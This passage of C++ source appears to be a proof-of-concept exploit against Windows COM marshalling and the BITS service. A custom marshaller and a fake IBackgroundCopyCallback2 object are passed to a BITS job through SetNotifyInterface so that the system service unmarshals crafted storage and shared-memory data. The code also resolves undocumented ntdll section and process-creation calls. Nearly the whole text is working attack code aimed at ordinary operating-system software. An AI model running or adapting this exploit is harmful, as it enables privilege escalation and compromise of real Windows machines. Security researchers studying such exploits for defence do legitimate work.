		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags)
	{

		printf("Marshal  GUID Interface: %ls\n", IIDToBSTR(riid).GetBSTR());
		IStorage  *pStorage = nullptr;
		HRESULT hr = StgCreateDocfile(
			L"MyPocCExposedDocFile.AAA",
			STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE,
			NULL,
			&pStorage);
		IStreamPtr pStream = nullptr;
		hr = CreateStreamOnHGlobal(0, TRUE, &pStream);
		CComQIPtr<IMarshal> pStorageMar(pStorage);

		hr = pStorageMar->MarshalInterface(pStream, riid, pv, 3, pvDestContext, mshlflags);
		SharedMemoryMarshaller* shm = new SharedMemoryMarshaller();
		StorageMarshaller fake(pStream, shm);
		fake.FakeMarshaller(pStm);
		return hr;

	}

	virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags,
		/* [annotation][out] */
		_Out_  DWORD *pSize)
	{
		*pSize = 1024;
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(
		/* [annotation][unique][in] */
		_In_  IStream *pStm,
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][out] */
		_Outptr_  void **ppv)
	{
		return E_NOTIMPL;
	}

	virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(
		/* [annotation][unique][in] */
		_In_  IStream *pStm)
	{
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE DisconnectObject(
		/* [annotation][in] */
		_In_  DWORD dwReserved)
	{
		return S_OK;
	}
};







class FakeObject : public IBackgroundCopyCallback2, public IPersist
{
	HANDLE m_ptoken;
	LONG m_lRefCount;
	IUnknown *_umk;
	~FakeObject() {};

public:
	//Constructor, Destructor
	FakeObject(IUnknown *umk) {
		_umk = umk;
		m_lRefCount = 1;

	}

	//IUnknown
	HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
	{


		printf("QI [FakeObject] - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
		if (riid == __uuidof(IUnknown))
		{
			printf("Query for IUnknown\n");
			*ppvObj = this;
		}
		else if (riid == __uuidof(IBackgroundCopyCallback2))
		{
			printf("Query for IBackgroundCopyCallback2\n");

		}
		else if (riid == __uuidof(IBackgroundCopyCallback))
		{
			printf("Query for IBackgroundCopyCallback\n");

		}
		else if (riid == __uuidof(IPersist))
		{
			printf("Query for IPersist\n");
			*ppvObj = static_cast<IPersist*>(this);
			//*ppvObj = _unk2;
		}

		else
		{
			printf("Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
			*ppvObj = NULL;
			return E_NOINTERFACE;
		}

		((IUnknown *)*ppvObj)->AddRef();
		return NOERROR;
	}

	ULONG __stdcall AddRef()
	{
		return InterlockedIncrement(&m_lRefCount);
	}

	ULONG __stdcall Release()
	{
		ULONG  ulCount = InterlockedDecrement(&m_lRefCount);

		if (0 == ulCount)
		{
			delete this;
		}

		return ulCount;
	}

	virtual HRESULT STDMETHODCALLTYPE JobTransferred(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob)
	{
		printf("JobTransferred\n");
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE JobError(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
		/* [in] */ __RPC__in_opt IBackgroundCopyError *pError)
	{
		printf("JobError\n");
		return S_OK;
	}


	virtual HRESULT STDMETHODCALLTYPE JobModification(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
		/* [in] */ DWORD dwReserved)
	{
		printf("JobModification\n");
		return S_OK;
	}


	virtual HRESULT STDMETHODCALLTYPE FileTransferred(
		/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
		/* [in] */ __RPC__in_opt IBackgroundCopyFile *pFile)
	{
		printf("FileTransferred\n");
		return S_OK;
	}

	virtual HRESULT STDMETHODCALLTYPE GetClassID(
		/* [out] */ __RPC__out CLSID *pClassID)
	{
		printf("GetClassID\n");


		*pClassID = GUID_NULL;

		return S_OK;
	}
};


class ScopedHandle
{
	HANDLE _h;
public:
	ScopedHandle() : _h(nullptr)
	{
	}

	ScopedHandle(ScopedHandle&) = delete;

	ScopedHandle(ScopedHandle&& h) {
		_h = h._h;
		h._h = nullptr;
	}

	~ScopedHandle()
	{
		if (!invalid())
		{
			CloseHandle(_h);
			_h = nullptr;
		}
	}

	bool invalid() {
		return (_h == nullptr) || (_h == INVALID_HANDLE_VALUE);
	}

	void set(HANDLE h)
	{
		_h = h;
	}

	HANDLE get()
	{
		return _h;
	}

	HANDLE* ptr()
	{
		return &_h;
	}


};



_COM_SMARTPTR_TYPEDEF(IEnumBackgroundCopyJobs, __uuidof(IEnumBackgroundCopyJobs));

void TestBits(HANDLE hEvent)
{
	IBackgroundCopyManagerPtr pQueueMgr;
	IID CLSID_BackgroundCopyManager;
	IID IID_IBackgroundCopyManager;
	CLSIDFromString(L"{4991d34b-80a1-4291-83b6-3328366b9097}", &CLSID_BackgroundCopyManager);
	CLSIDFromString(L"{5ce34c0d-0dc9-4c1f-897c-daa1b78cee7c}", &IID_IBackgroundCopyManager);

	HRESULT	hr = CoCreateInstance(CLSID_BackgroundCopyManager, NULL,
		CLSCTX_ALL, IID_IBackgroundCopyManager, (void**)&pQueueMgr);

	IUnknown * pOuter = new CMarshaller(static_cast<IPersist*>(new FakeObject(nullptr)));
	IUnknown * pInner;

	CoGetStdMarshalEx(pOuter, CLSCTX_INPROC_SERVER, &pInner);

	IBackgroundCopyJobPtr pJob;
	GUID guidJob;

	IEnumBackgroundCopyJobsPtr enumjobs;
	hr = pQueueMgr->EnumJobsW(0, &enumjobs);
	if (SUCCEEDED(hr))
	{
		IBackgroundCopyJob* currjob;
		ULONG fetched = 0;

		while ((enumjobs->Next(1, &currjob, &fetched) == S_OK) && (fetched == 1))
		{
			LPWSTR lpStr;
			if (SUCCEEDED(currjob->GetDisplayName(&lpStr)))
			{
				if (wcscmp(lpStr, L"BitsAuthSample") == 0)
				{
					CoTaskMemFree(lpStr);
					currjob->Cancel();
					currjob->Release();
					break;
				}
			}
			currjob->Release();
		}
	}


	pQueueMgr->CreateJob(L"BitsAuthSample",
		BG_JOB_TYPE_DOWNLOAD,
		&guidJob,
		&pJob);



	IUnknownPtr pNotify;


	pNotify.Attach(new CMarshaller(pInner));
	{


		HRESULT hr = pJob->SetNotifyInterface(pNotify);
		printf("Result: %08X\n", hr);

	}
	if (pJob)
	{
		pJob->Cancel();
	}

	printf("Done\n");
	SetEvent(hEvent);
}










int _tmain(int argc, _TCHAR* argv[])
{
	try
	{


		HANDLE	hTokenTmp = 0;
		HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
		HRESULT hr = 0;
		hr = CoInitialize(NULL);

		HMODULE module_handle = GetModuleHandle(L"ntdll.dll");
		ntdll::NtCreateSection = reinterpret_cast<ntdll::NtCreateSection_t>(GetProcAddress(module_handle, "NtCreateSection"));
		ntdll::NtMapViewOfSection = reinterpret_cast<ntdll::NtMapViewOfSection_t>(GetProcAddress(module_handle, "NtMapViewOfSection"));
		ntdll::NtQueryVirtualMemory = reinterpret_cast<ntdll::NtQueryVirtualMemory_t>(GetProcAddress(module_handle, "NtQueryVirtualMemory"));
		ntdll::NtQuerySection = reinterpret_cast<ntdll::NtQuerySection_t>(GetProcAddress(module_handle, "NtQuerySection"));
		ntdll::NtCreateEvent = reinterpret_cast<ntdll::NtCreateEvent_t>(GetProcAddress(module_handle, "NtCreateEvent"));
		ntdll::NtOpenEvent = reinterpret_cast<ntdll::NtOpenEvent_t>(GetProcAddress(module_handle, "NtOpenEvent"));
		ntdll::NtSetEvent = reinterpret_cast<ntdll::NtSetEvent_t>(GetProcAddress(module_handle, "NtSetEvent"));
		ntdll::NtClearEvent = reinterpret_cast<ntdll::NtClearEvent_t>(GetProcAddress(module_handle, "NtClearEvent"));
		ntdll::NtOpenFile = reinterpret_cast<ntdll::NtOpenFile_t>(GetProcAddress(module_handle, "NtOpenFile"));
		ntdll::NtCreateProcessEx = reinterpret_cast<ntdll::NtCreateProcessEx_t>(GetProcAddress(module_handle, "NtCreateProcessEx"));





		if (FAILED(hr))
		{
			return false;
		}


		TestBits(hEvent);

		char szInput[64];
		scanf_s("%[a-z0-9]", szInput);
		CloseHandle(hEvent);

	}
	catch (const _com_error& err)
	{
		printf("Error: %ls\n", err.ErrorMessage());
	}
	CoUninitialize();//ͷCOM
	return 0;
}